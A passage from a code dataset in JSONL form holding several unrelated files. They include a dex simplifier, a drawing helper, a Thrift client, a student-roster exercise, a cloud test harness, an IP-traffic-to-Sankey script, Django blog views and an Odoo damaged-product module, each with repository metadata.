output_file\n\n\ndef main(args):\n include_str = args.i\n print()\n\n if os.path.isdir(args.f):\n if args.f.endswith('\\\\') or args.f.endswith('/'):\n smali_dir = args.f[:-1]\n else:\n smali_dir = args.f\n dex_file = smali(smali_dir, os.path.basename(smali_dir) + '.dex')\n dexsim(dex_file, smali_dir, include_str)\n smali(smali_dir, os.path.basename(smali_dir) + '.sim.dex')\n elif Magic(args.f).get_type() == 'apk':\n apk_path = args.f\n\n apk_sim_path = os.path.splitext(args.f)[0] + '.sim.apk'\n\n shutil.copyfile(apk_path, apk_sim_path)\n\n try:\n pzip = powerzip.PowerZip(apk_path)\n except zipfile.BadZipFile:\n print(\"It seems the apk is corrupted. Please re-zip this apk, test again.\")\n return\n\n dexnames = []\n for name in pzip.namelist():\n if name.startswith('classes') and name.endswith('.dex'):\n pzip.extract(name)\n dexnames.append(name)\n\n dex_file = name\n smali_dir = baksmali(dex_file)\n dexsim(dex_file, smali_dir, include_str)\n smali(smali_dir, dex_file)\n shutil.rmtree(smali_dir)\n pzip.close()\n\n pzip = powerzip.PowerZip(apk_sim_path)\n for name in dexnames:\n pzip.add(name, name)\n os.remove(name)\n pzip.save(apk_sim_path)\n pzip.close()\n\n else:\n dex_file = os.path.basename(args.f)\n temp_dir = tempfile.TemporaryDirectory()\n smali_dir = baksmali(dex_file, temp_dir.name)\n dexsim(dex_file, smali_dir, include_str)\n smali(smali_dir, os.path.splitext(os.path.basename(dex_file))[0] + '.sim.dex')\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(prog='dexsim', description='dex simple, make dex more readable/simple.')\n parser.add_argument('f', help='smali dir, later will support dex/apk')\n parser.add_argument('-i', help='include string.')\n\n args = parser.parse_args()\n\n start = clock()\n main(args)\n finish = clock()\n print('\\n%fs' % (finish - start))\n","sub_path":"libs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"249121564","text":"from math import pi\n\n\ndef zoom(x):\n return 2 ** (x / 10)\n\n\nU = 50\n\n\ndef draw_axes(canvas, cc, axis_units=10):\n cc.move_to(-U, 0)\n cc.line_to(axis_units * U, 0)\n cc.move_to(0, -U)\n cc.line_to(0, axis_units * U)\n cc.stroke()\n\n\nOr = 25\n\n\ndef fill_arc(canvas, cc, half_angle, radius_units=1):\n ar = radius_units * Or\n cc.save()\n cc.move_to(0, 0)\n cc.arc(0, 0, 2 * ar, -half_angle, half_angle)\n cc.fill()\n cc.restore()\n\n\ndef fill_ellipse(canvas, cc, h_radius, v_radius, angle=0, radius_units=1):\n if h_radius > 0 or v_radius > 0:\n\n cc.save()\n cc.scale(h_radius * radius_units, v_radius * radius_units)\n cc.rotate(angle)\n cc.arc(0, 0, 1, 0, 2 * pi)\n cc.fill()\n cc.restore()\n\n\ndef draw_active(canvas, cc, radius_units=1):\n ar = radius_units * Or\n cc.arc(0, 0, ar, 0, 2 * pi)\n cc.stroke()\n cc.move_to(0, 0)\n cc.line_to(2 * ar, 0)\n cc.stroke()\n\n\ndef draw_passive(canvas, cc, radius_units=1):\n ar = radius_units * Or\n cc.rectangle(-ar, -ar, 2 * ar, 2 * ar)\n cc.stroke()\n","sub_path":"src/gciatto/gi/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90195576","text":"import os\nimport random\nimport string\nimport time\nimport logging\n\nimport bt_rts.thrift.gen.recs as recs_thrift\n\nfrom thriftpy.thrift import TClient\nfrom thriftpy.transport import TCyFramedTransportFactory, TSocket\nfrom thriftpy.protocol import TCyBinaryProtocolFactory\nfrom thriftpy.thrift import TException\n\nfrom .response import Recommendation\n\nLOG = logging.getLogger(__name__)\n\nclass RecommendationsClient(object):\n\n def __init__(self, host='127.0.0.1', port=7070, timeout=3000, calling_app=None, **kwargs):\n self.__host = host\n self.__port = port\n LOG.info('Starting connection to RTS Recommendations on {0}:{1}'.format(host, port))\n\n self.__timeout = timeout\n if not calling_app:\n raise ValueError('Must supply a calling app string')\n self.__calling_app = calling_app\n\n self.__create_client()\n\n self.__open = False\n self.__initialized = True\n\n\n def __create_client(self):\n socket = TSocket(self.__host, self.__port, socket_timeout=self.__timeout)\n self.__transport = TCyFramedTransportFactory().get_transport(socket)\n protocol = TCyBinaryProtocolFactory().get_protocol(self.__transport)\n self.__client = TClient(recs_thrift.RecommendationsService, protocol)\n\n def open(self):\n if self.__transport.is_open():\n return\n\n self.__transport.open()\n self.__open = True\n\n def close(self):\n if not self.__transport.is_open():\n return\n\n self.__transport.close()\n self.__open = False\n\n def __del__(self):\n try:\n self.__initialized\n except AttributeError:\n return\n else:\n self.close()\n\n def client(self):\n return self.__client\n\n def is_open(self):\n return self.__open\n\n def __enter__(self):\n self.open()\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.close()\n\n def get_recommendations(self, request):\n request_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))\n context = recs_thrift.TRequestContext(self.__calling_app, request_id)\n result = [ Recommendation.from_thrift(rec) for rec in\n self.__client.get_recommendations(context, request.to_thrift())]\n\n return result\n","sub_path":"realtime-recs/test/recs_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"195858065","text":"# Thomas McHugh\n# CSC 243\n# Assignment 5\n\ndef createStudentDictionary():\n\t'Returns a dictionary with '\n\t# Open and read the file lines\n\tclassRosterFileInput = open('class_roster.txt', 'r')\n\tclassRosterLines = classRosterFileInput.readlines()\n\tclassRosterFileInput.close()\n\t\n\tclassRoster = {}\n\t\n\tfor rosterItem in classRosterLines:\n\t\t# Remove the new line item\n\t\tseperatedByNewLineItem = rosterItem.replace('\\n', '')\n\t\n\t\t# For each line split values into an array\n\t\tstudentInfoList = seperatedByNewLineItem.split(',')\n\t\t\n\t\t# Get the info for the student\n\t\tstudentFirstName = studentInfoList[0]\n\t\tstudentLastName = studentInfoList[1]\n\t\tstudentId = studentInfoList[2]\n\t\tstudentClass = studentInfoList[3]\n\t\t\n\t\t# Store student info in tuple\n\t\tstudentInfo = (studentFirstName, studentLastName, studentClass)\n\t\t\n\t\t# Store tuple by student id in classRoster\n\t\tclassRoster[studentId] = studentInfo\n\treturn classRoster\n\ndef studentSearch(classRoster, studentId):\n\t'Searchs a class roster for a student by id'\n\ttry:\n\t\t# Retrieve student by student Id\n\t\tstudent = classRoster[studentId]\n\t\t\n\t\t# Get the students information\n\t\tstudentFirstName = student[0]\n\t\tstudentLastName = student[1]\n\t\tstudentClass = student[2]\n\t\t\n\t\t# Return student information\n\t\tstudentString = 'First Name: {0}\\nLast Name: {1}\\nYear: {2}'.format(studentFirstName, studentLastName, studentClass)\n\t\treturn studentString\n\texcept KeyError:\n\t\t# The student Id was invalid\n\t\treturn 'No student found with ID: {0}'.format(studentId)\n\texcept:\n\t\t# Something else unexpected happened here.\n\t\treturn 'An unexpected error occured.'","sub_path":"Assignment 5/mchugh_assignment_five.py","file_name":"mchugh_assignment_five.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"596125816","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/cgcloud/jenkins/test/create_all_slaves.py\n# Compiled at: 2016-11-22 15:21:45\nfrom Queue import Queue\nfrom abc import ABCMeta, abstractmethod\nfrom functools import partial\nfrom threading import Thread\nimport unittest, os, uuid, sys\nfrom bd2k.util.fnmatch import fnmatch\ntry:\n from subprocess32 import check_call, check_output\nexcept ImportError:\n from subprocess import check_call, check_output\n\nproject_root = os.path.dirname(os.path.dirname(__file__))\ncgcloud = 'cgcloud'\nproduction = True\nif production:\n namespace = '/'\n include_master = False\nelse:\n namespace = '/hannes/'\n include_master = True\n\nclass Pane(object):\n \"\"\"\n An abstraction of a tmux pane. A pane represents a terminal that you can run commands in.\n Commands run asynchronously but you can synchronized on them using the result() method. You\n should pre-allocate all panes you need before running commands in any of them. Commands are\n run using the run() method. The join() method blocks until the command finishes. The tmux\n pane remains open after the command finishes so you can do post-portem analysis on it,\n the main reason I wrote this.\n\n All panes in the interpreter share a single tmux session. The session has only one window but\n panes can be broken out manually after attaching to the session.\n \"\"\"\n session = 'cgcloud-%s' % uuid.uuid4()\n panes = []\n\n def log(self, s):\n sys.stderr.write(s + '\\n')\n sys.stderr.flush()\n\n def __init__(self):\n super(Pane, self).__init__()\n self.channel_ids = tuple(uuid.uuid4() for _ in range(2))\n self.queue = Queue(maxsize=1)\n self.index = len(self.panes)\n window = '%s:0' % self.session\n if self.index == 0:\n self.log(\"Run 'tmux attach -t %s' to monitor output\" % self.session)\n check_call([\n 'tmux', 'new-session', '-d', '-s', self.session, '-x', '100', '-y', '80'])\n self.tmux_id = check_output([\n 'tmux', 'list-panes', '-t', window, '-F', '#{pane_id}']).strip()\n else:\n self.tmux_id = check_output([\n 'tmux', 'split-window', '-v', '-t', window, '-PF', '#{pane_id}']).strip()\n check_call(['tmux', 'select-layout', '-t', window, 'even-vertical'])\n self.panes.append(self)\n self.threads = tuple(self._start_thread(i) for i in range(2))\n\n def _start_thread(self, channel_index):\n thread = Thread(target=partial(self._wait, channel_index))\n thread.daemon = True\n thread.start()\n return thread\n\n def _wait(self, channel_index):\n while True:\n check_call(['tmux', 'wait', str(self.channel_ids[channel_index])])\n self.queue.put(channel_index)\n\n def run(self, cmd, ignore_failure=False):\n fail_ch, success_ch = self.channel_ids\n if ignore_failure:\n cmd = '( %s ) ; tmux wait -S %s' % (cmd, success_ch)\n else:\n cmd = '( %s ) && tmux wait -S %s || tmux wait -S %s' % (cmd, success_ch, fail_ch)\n check_call(['tmux', 'send-keys', '-t', self.tmux_id, cmd, 'C-m'])\n\n def result(self):\n return (\n False, True)[self.queue.get()]\n\n\nclass Command(object):\n \"\"\"\n A glorified string template for cgcloud command lines. The default values for the template\n arguments specified at construction can be overriden when the command is actually run,\n i.e. when the template is instantiated. The value for a template parameter can be either a\n static value or a callable taking two arguments, role and ordinal. The callable will be\n evaluated at instantiation time with the role and ordinal of the concrete box cgcloud should\n be run against. A command can be set to ignore failures, in which case a non-zero exit code\n from cgcloud does not fail the test. A command can be 'reverse' which means that it should be\n run against the list of boxes in the reverse order. How exactly \"reverse\" is implemented\n depends on the client.\n \"\"\"\n\n def __init__(self, command, template, ignore_failure=False, reverse=False, **template_args):\n super(Command, self).__init__()\n self.template = '{cgcloud} {command} -n {namespace} ' + template\n self.template_args = template_args.copy()\n self.template_args.update(cgcloud=cgcloud, command=command, namespace=namespace)\n self.ignore_failure = ignore_failure\n self.reverse = reverse\n\n def run(self, pane, role, ordinal, **template_args):\n \"\"\"\n Instantiate this command line template and run it in the specified pane against the box\n of the specified role and ordinal, substituting additional template parameters with the\n given keyword arguments.\n \"\"\"\n _template_args = self.template_args.copy()\n _template_args.update(template_args)\n _template_args = dict((k, v(role, ordinal) if callable(v) else v) for k, v in _template_args.iteritems())\n _template_args.update(role=role, ordinal=ordinal)\n pane.run(self.template.format(**_template_args), ignore_failure=self.ignore_failure)\n\n\ndef create(options=''):\n return Command('create', '--never-terminate {options} {role}', options=options)\n\n\ndef recreate(options=''):\n return Command('recreate', '--never-terminate {options} {role}', options=options)\n\n\ndef start(options=''):\n return Command('start', '-o {ordinal} {options} {role}', options=options)\n\n\ndef stop(options=''):\n return Command('stop', '-o {ordinal} {options} {role}', reverse=True, options=options)\n\n\ndef ssh(ssh_command='', options=''):\n return Command('ssh', '-o {ordinal} {options} {role} {ssh_command}', ssh_command=ssh_command, options=options)\n\n\ndef rsync(rsync_args, options=''):\n return Command('rsync', '-o {ordinal} {options} {role} {rsync_args}', rsync_args=rsync_args, options=options)\n\n\ndef image(options=''):\n return Command('image', '-o {ordinal} {options} {role}', options=options)\n\n\ndef terminate(options=''):\n return Command('terminate', '-o {ordinal} {options} {role}', ignore_failure=True, reverse=True, options=options)\n\n\nclass BaseTest(unittest.TestCase):\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def _execute_command(self, command):\n pass\n\n def _list_roles(self, slave_glob):\n slaves = [ slave for slave in check_output([cgcloud, 'list-roles']).split('\\n') if fnmatch(slave, slave_glob)\n ]\n return slaves\n\n def _test(self, *commands):\n for command in commands:\n self._execute_command(command)\n\n\nclass DevEnvTest(BaseTest):\n \"\"\"\n Tests the creation of the Jenkins master and its slaves for continuous integration.\n \"\"\"\n slave_glob = 'centos5-*-jenkins-slave'\n\n def _init_panes(self):\n slave_roles = self._list_roles(self.slave_glob)\n self.master_pane = Pane() if include_master else None\n self.slave_panes = dict((slave_role, Pane()) for slave_role in slave_roles)\n return\n\n def test_everything(self):\n self._init_panes()\n self._test(create(), stop(), image(), start(), terminate(), recreate(), ssh(), terminate())\n\n def _execute_command(self, command):\n\n def test_master():\n if self.master_pane is not None:\n command.run(self.master_pane, 'jenkins-master', ordinal=-1)\n self.assertTrue(self.master_pane.result())\n return\n\n def test_slaves():\n for slave_role, pane in self.slave_panes.iteritems():\n command.run(pane, slave_role, ordinal=-1)\n\n for pane in self.slave_panes.itervalues():\n self.assertTrue(pane.result())\n\n tests = [test_master, test_slaves]\n for test in reversed(tests) if command.reverse else tests:\n test()\n\n\nclass LoadTest(BaseTest):\n key_file = '~/MORDOR1.pem'\n role = 'load-test-box'\n base_url = 'https://stage.cghub.ucsc.edu/cghub/data/analysis/download/'\n instance_type = 'm3.2xlarge'\n if False:\n uuids = ['b08210ce-b0c1-4d6a-8762-0f981c27d692',\n 'ffb4cff4-06ea-4332-8002-9aff51d5d388',\n '5c07378f-cafe-42db-a66e-d608f2f0e982',\n '7fffef66-627f-43f7-96b3-6672e1cb6b59',\n '7ec3fa29-bbec-4d08-839b-c1cd60909ed0',\n '4714ee84-26cd-48e7-860d-a115af0fca48',\n '9266e7ca-c6f9-4187-ab8b-f11f6c65bc71',\n '9cd637b0-9b68-4fd7-bd9e-fa41e5329242',\n '71ec0937-7812-4b35-87de-77174fdb28bc',\n 'd49add54-27d2-4d77-b719-19f4d77c10c3']\n else:\n uuids = [\n '7c619bf2-6470-4e01-9391-1c5db775537e',\n '27a1b0dc-3f1a-4606-9bd7-8b7a0a89e066',\n '027d9b42-cf22-429a-9741-da6049a5f192',\n '0600bae1-2d63-41fd-9dee-b5d3cd21b3ee',\n 'c3cf7d48-e0c1-4605-a951-34ad83916361',\n '44806b1a-2d77-4b67-9774-67e8a5555f88',\n '727e2955-67a3-431c-9c7c-547e6b8b7c95',\n '99728596-1409-4d5e-b2dc-744b5ba2aeab']\n num_instances = len(uuids)\n num_children = 8\n\n def test_load(self):\n self._init_panes()\n self._test(terminate('--quick'))\n\n def _gtdownload(self, role, ordinal):\n return ('gtdownload -d {base_url}{uuid} -c {key_file} -vv --null-storage --max-children {num_children}').format(base_url=self.base_url, uuid=self.uuids[ordinal], key_file=os.path.basename(self.key_file), num_children=self.num_children)\n\n def _init_panes(self):\n self.panes = [ Pane() for _ in range(0, self.num_instances) ]\n\n def _execute_command(self, command):\n for i, pane in enumerate(self.panes):\n command.run(pane, self.role, ordinal=i - self.num_instances)\n\n for pane in self.panes:\n self.assertTrue(pane.result())\n\n\nclass TrackerStressTest(BaseTest):\n role = 'load-test-box'\n stress_tracker_script = '/Users/hannes/workspace/cghub/tests/stress_tracker'\n instance_type = 'm3.2xlarge'\n num_instances = 8\n\n def test_tracker_stress(self):\n self._init_panes()\n self._test(terminate('--quick'))\n\n def _init_panes(self):\n self.panes = [ Pane() for _ in range(0, self.num_instances) ]\n\n def _execute_command(self, command):\n for i, pane in enumerate(self.panes):\n command.run(pane, self.role, ordinal=i - self.num_instances)\n\n for pane in self.panes:\n self.assertTrue(pane.result())\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"pycfiles/cgdat-2.4.2-py3-none-any/create_all_slaves.py","file_name":"create_all_slaves.py","file_ext":"py","file_size_in_byte":10584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"41187350","text":"import sqlalchemy as sql\nimport pandas as pd\nfrom IPy import IP\nimport numpy as np\nimport json\n\nengine = sql.create_engine('postgresql://tpuser:tpuserpw@localhost:5432/net_activity')\n\n#df = pd.read_sql('table_name', connection)\ndf = pd.read_sql('iptrial',engine)\n\n####\norigin_df = pd.DataFrame({'Origin':df.Origin,'Transfer_ID':df.transfer_id})\ndestination_df = pd.DataFrame({'Destination':df.Destination,'Transfer_ID':df.transfer_id})\n\n\n#This one will be used for create_links()\ncombo_df = pd.DataFrame({'Origin':df.Origin,'Destination':df.Destination,'Transfer_ID':df.transfer_id})\n\ndef stripper(ip_df):\n short_ip_df = pd.DataFrame()\n for i in range(len(ip_df)):\n cell = ip_df.ix[i,0]\n transfer_id = ip_df.ix[i,1]\n if cell.count('.') >= 4:\n end = cell.rfind('.')\n new = cell[:end]\n short_ip_df = short_ip_df.append({'IP':new,'Transfer_ID':transfer_id},ignore_index=True)\n return short_ip_df\n\ndef in_or_out(df):\n private_dict = {}\n public_dict = {}\n dict_list1 = []\n dict_list2 = []\n\n for i in range(len(df)):\n ip = IP(str(df.ix[i,0]))\n if ip.iptype() == 'PRIVATE':\n private_dict = {'IP':df.ix[i,0],'Transfer_ID':df.ix[i,1]}\n dict_list1.append(private_dict)\n elif ip.iptype() == 'PUBLIC':\n public_dict = {'IP':df.ix[i,0],'Transfer_ID':df.ix[i,1]}\n dict_list2.append(public_dict)\n\n private_df = pd.DataFrame(dict_list1)\n public_df = pd.DataFrame(dict_list2)\n\n return tuple([private_df,public_df])\n\n#We want to be sure to only get unique node values (IP addresses),\n#so we will temporarily combine the public and private df's and run pd.unique on\n#the combined Series\n\n#NOTE: the next three functions could be more tightly integrated with one another\n#NODES\ndef nodes_to_json(df_tuple):\n combined_df = df_tuple[0].append(df_tuple[1])\n list_of_dicts = []\n unique_ips = pd.unique(combined_df.IP)\n for i in range(len(unique_ips)):\n node_dict = {\"node\":i,\"name\":unique_ips[i]}\n list_of_dicts.append(node_dict)\n# print(list_of_dicts)\n return list_of_dicts\n\n#LINKS\n\ndef links_to_json(private_df,public_df):\n\n merged_df = pd.merge(private_df,public_df,on='Transfer_ID')\n clean_merged = pd.DataFrame({'Internal':merged_df.IP_x,'External':merged_df.IP_y})\n\n merged_count_df = pd.DataFrame({'count' : clean_merged.groupby(\n ['Internal','External']).Internal.count()}).reset_index()\n\n link_list = []\n for i in range(len(merged_count_df)):\n link_dict = {\"source\":merged_count_df.ix[i,0],\n \"target\":merged_count_df.ix[i,1],\n \"value\":merged_count_df.ix[i,2]}\n link_list.append(link_dict)\n return link_list\n\ndef compare_json(link_json,node_json):\n dict_list = []\n for x in link_json:\n temp_dict = {'value' : x[\"value\"]}\n for z in node_json:\n if x['source'] == z['name']:\n temp_dict.update({'source':z['node']})\n if x['target'] == z['name']:\n temp_dict.update({'target':z['node']})\n dict_list.append(temp_dict)\n return dict_list\n\ndef ld_writeDicts(filePath,json_dict):\n json_dict = str(json_dict).replace(r\"'\",r'\"')\n f=open(filePath,'w')\n f.writelines(json_dict)\n f.close()\n# print(json_dict)\n\nshort_ori = stripper(origin_df)\nshort_dest = stripper(destination_df)\n\nsorted_ori = in_or_out(short_ori)\nsorted_dest = in_or_out(short_dest)\n\nbig_sorted_private = pd.concat([sorted_ori[0],sorted_dest[0]]).reset_index(drop=True)\nbig_sorted_public = pd.concat((sorted_ori[1],sorted_dest[1])).reset_index(drop=True)\n#Sort the rows by Transfer ID\nbig_sorted_private = big_sorted_private.sort(['Transfer_ID'],ascending=[1])\nbig_sorted_public = big_sorted_public.sort(['Transfer_ID'],ascending=[1])\n\n#CREATE NODES\n#a tuple to pass to create_nodes()\ncombined_sorted_df_tuple = (big_sorted_public,big_sorted_private)\nnodes = nodes_to_json(combined_sorted_df_tuple)\nlinks = links_to_json(big_sorted_private,big_sorted_public)\n\ncorrect_format = compare_json(links,nodes)\n\nfinal_json = {\"nodes\":nodes,\"links\":correct_format}\n\nmaster_json = json.dumps(str(final_json))\n\n#sankey_json = open('/foo/bar/d3_materials/sankey-formatted.json','w')\nld_writeDicts('/home/tpuser/Code/freelance/network_visualizer/tcpdump-to-database-tool/d3_materials/sankey-formatted.json',str(final_json))\n\n\n","sub_path":"to_json.py","file_name":"to_json.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577649683","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\n\nfrom github_data.github_data import GithubDataPro\nimport time\n\nif __name__ == \"__main__\":\n git_pro = GithubDataPro()\n try:\n recordDate = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n print('start', recordDate)\n git_pro = GithubDataPro()\n git_pro.get_gitaddress()\n git_pro.init_git_detail_data()\n git_pro.get_detail_data()\n recordDate = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n print('end', recordDate)\n except:\n print('erc20_pro err')\n \n","sub_path":"get_git_data.py","file_name":"get_git_data.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"132602831","text":"\"\"\"\n# try if view.py works\nfrom django.shortcuts import render\nfrom datetime import datetime\nfrom blog.models import BlogPost\n\n# Create your views here.\ndef archive(request):\n post = BlogPost(title='mocktitle', body='mockbody', timestamp=datetime.now())\n return render(request, 'archive.html', {'posts': [post]})\n\"\"\"\n\n'''\n# formal way of view functions\nfrom django.http import HttpResponse\nfrom django.template import loader, Context\nfrom blog.models import BlogPost\n\ndef archive(request):\n # Query the database for all blog entries\n posts = BlogPost.objects.all()\n\n # Load the template file\n t = loader.get_template('archive.html')\n\n # Create the context dictionary for the template (template params)\n c = Context({'posts': posts})\n\n # Pass the context to the template\n # Render the template into HTML\n # Return the HTML via the HTTP response\n return HttpResponse(t.render(c))\n'''\n\n# new short way of view functions\nfrom django.shortcuts import render, render_to_response\nfrom blog.models import BlogPost, BlogPostForm\n\nfrom datetime import datetime\nfrom django.http import HttpResponseRedirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger # pagination\n\n\ndef archive(request):\n # get the data from the table\n # posts = BlogPost.objects.all() # query the database for all blog entries\n # posts = BlogPost.objects.all().order_by('-timestamp') # descending timestamp\n # posts = BlogPost.objects.all().order_by('-timestamp')[:3] # only 3 per page\n # posts = BlogPost.objects.all()[:3] # default ordering in models.BlogPost class\n\n # for pagination\n posts_list = BlogPost.objects.all()\n paginator = Paginator(posts_list, 3) # Show 3 blogposts per page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page is not an integer, deliver first page\n posts = paginator.page(1)\n except EmptyPage:\n # if page is out of range (e.g. 9999), deliver last page of results.\n posts = paginator.page(paginator.num_pages)\n \n # use \"render\" over \"render_to_response\" (not sure why but do it)\n # update: in \"render_to_response\" we must add RequestContext(request) for CSRF protection\n # eg. render_to_response('archive.html', {'posts': posts,}, RequestContext(request))\n # in \"render\" we don't have to do this (that's why we always use \"render\")\n return render(request, 'archive.html', {'posts': posts, 'form': BlogPostForm()})\n\n\ndef base_template(request):\n posts = BlogPost.objects.all()[:3] # default ordering in models.BlogPost class\n return render(request, 'index.html', {'posts': posts})\n\n\n'''\n# normal form action\ndef create_blogpost(request):\n if request.method == 'POST':\n BlogPost(title=request.POST.get('title'),\n body=request.POST.get('body'),\n timestamp=datetime.now(),\n ).save()\n\n # redirect to parent page\n return HttpResponseRedirect('/blog/')\n'''\n\n\n# model form action\ndef create_blogpost(request):\n if request.method == 'POST':\n form = BlogPostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False) # this returns a BlogPost object\n #uncomment next line if timestamp has default value\n #post.timestamp = datetime.now()\n post.save()\n\n # redirect to parent page\n return HttpResponseRedirect('/blog/')\n","sub_path":"chapter11-django/site01 with crispy forms/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"633056201","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.addons import decimal_precision as dp\nfrom odoo.exceptions import UserError\nfrom itertools import groupby\n\n\nclass SaleDamage(models.Model):\n _name = 'damage.product'\n _inherit = ['mail.thread', 'mail.activity.mixin']\n _description = 'Damage Product Received'\n\n name = fields.Char('Name',track_visibility='always',copy=False,default='New')\n state = fields.Selection([\n ('new','New'),\n ('submit', 'Submitted'),\n ('apporved', 'Approved'),\n ('confirm', 'Confirmed'),\n ('ordered','Damaged Ordered'),\n ('delivered', 'Delivered'),\n ('returned', 'Returned'),\n ('cancel', 'Cancelled'),\n ], string='Status', readonly=True, copy=False, index=True, tracking=3, default='new',track_visibility='always')\n\n mr_no = fields.Char(string='MR No',track_visibility='always')\n partner_id = fields.Many2one('res.partner',string='Customer Name',track_visibility='always')\n accept_person = fields.Char(string='Accept Person')\n picking_type_id = fields.Many2one(\n 'stock.picking.type', 'Operation Type',\n required=False, readonly=True,\n states={'new': [('readonly', False)]},domain=[('code', 'in', ('outgoing','incoming'))])\n location_id = fields.Many2one('stock.location',string='Location Name',\n default=lambda self: self.env['stock.picking.type'].browse(self._context.get('default_picking_type_id')).default_location_src_id,\n track_visibility='always',readonly=True,Store=True)\n location_dest_id = fields.Many2one(\n 'stock.location', \"Destination Location\",\n default=lambda self: self.env['stock.picking.type'].browse(self._context.get('default_picking_type_id')).default_location_dest_id,\n track_visibility='always',readonly=True,Store=True)\n picking_type_code = fields.Selection([\n ('incoming', 'Vendors'),\n ('outgoing', 'Customers'),\n ('internal', 'Internal')], related='picking_type_id.code',\n readonly=True)\n damaged_remark = fields.Text(string=\"Remark\")\n sale_person = fields.Many2one('res.users',string='Sale By',track_visibility='always',default=lambda self:self.env.user.id)\n issued_date = fields.Date(string='Issued Date',default=fields.Date.today(),track_visibility='always')\n branch_id = fields.Many2one('res.branch',string='Branch',track_visibility='always',default=lambda self: self.env.user.branch_id)\n\n product_line = fields.One2many('damage.product.line', 'damaged_id', string='Product Lines', states={'cancel': [('readonly', True)], 'done': [('readonly', True)]}, copy=True, auto_join=True)\n \n picking_ids = fields.One2many('stock.picking', 'damaged_id', string='Pickings')\n received_count = fields.Integer(string='Delivery', compute='_compute_picking_ids',store=True)\n company_id= fields.Many2one('res.company','Company',default=lambda self: self.env.user.company_id)\n\n team_id = fields.Many2one('crm.team', 'Sales Team')\n sale_by = fields.Many2one('hr.employee','Sale Person', track_visibility='always')\n delivery_status = fields.Selection([('not', 'Not Delivered'),\n ('partial', 'Partially Delivered'),\n ('full', 'Fully Delivered')], 'Delivery Status',\n compute='compute_delivery_status')\n\n def compute_delivery_status(self):\n for rec in self:\n if all([line.deliver_qty == 0 for line in rec.product_line]):\n rec.delivery_status = 'not'\n elif all([line.deliver_qty == line.product_uom_qty for line in rec.product_line]):\n rec.delivery_status = 'full'\n else:\n rec.delivery_status = 'partial'\n\n @api.onchange('company_id')\n def _onchange_company_id(self):\n if self.company_id:\n branches = self.env.user.branch_ids.filtered(lambda m: m.company_id.id == self.company_id.id).ids\n\n return {'domain': {'branch_id': [('id', 'in', branches)]}}\n else:\n return {'domain': {'branch_id': []}}\n\n @api.onchange('branch_id')\n def _onchange_branch_id(self):\n\n if self.branch_id:\n warehouse = self.env['stock.warehouse'].search([('branch_id', '=', self.branch_id.id)])\n picking = self.env['stock.picking.type'].search(\n [('warehouse_id', 'in', warehouse.ids)])\n if self.branch_id and picking:\n self.picking_type_id = picking.ids[0]\n\n else:\n self.picking_type_id = False\n\n return {'domain': {'picking_type_id': [('id', '=', picking.ids)]}}\n\n\n else:\n return {'domain': {'picking_type_id': []}}\n @api.model\n def create(self,vals):\n if vals.get('name', _('New')) == _('New'):\n vals['name'] = self.env['ir.sequence'].next_by_code('damage.product') or _('New')\n res = super(SaleDamage, self).create(vals)\n return res\n\n @api.depends('picking_ids')\n def _compute_picking_ids(self):\n for order in self:\n order.received_count = len(order.picking_ids)\n\n @api.onchange('picking_type_id')\n def onchange_picking_type(self):\n if self.picking_type_id:\n if self.picking_type_id.default_location_src_id:\n location_id = self.picking_type_id.default_location_src_id.id\n elif self.partner_id:\n location_id = self.partner_id.property_stock_supplier.id\n else:\n customerloc, location_id = self.env['stock.warehouse']._get_partner_locations()\n\n if self.picking_type_id.default_location_dest_id:\n location_dest_id = self.picking_type_id.default_location_dest_id.id\n elif self.partner_id:\n location_dest_id = self.partner_id.property_stock_customer.id\n else:\n location_dest_id, supplierloc = self.env['stock.warehouse']._get_partner_locations()\n\n if self.state == 'new':\n self.location_id = location_id\n self.location_dest_id = location_dest_id\n\n def action_submit(self):\n self.state = 'submit'\n\n def action_approved(self):\n self.state = 'apporved'\n\n def action_confirm(self):\n self.state = 'confirm'\n\n def action_check(self):\n self.state = 'check'\n\n def action_cancel(self):\n self.state = \"cancel\"\n self.picking_ids = False\n\n def action_set_to_new(self):\n self.state = 'new'\n\n def action_confirmed(self):\n self.state = 'ordered'\n deli_id = self.partner_id.id\n lines = self.product_line\n\n if not lines:\n raise UserError('Please add at least one line!')\n\n # Check if all lines have picking types\n picking_types_in_all_lines = all([line.picking_type_id.id for line in lines])\n if not picking_types_in_all_lines:\n raise UserError('Some of the lines do not have operation types!')\n\n # Check 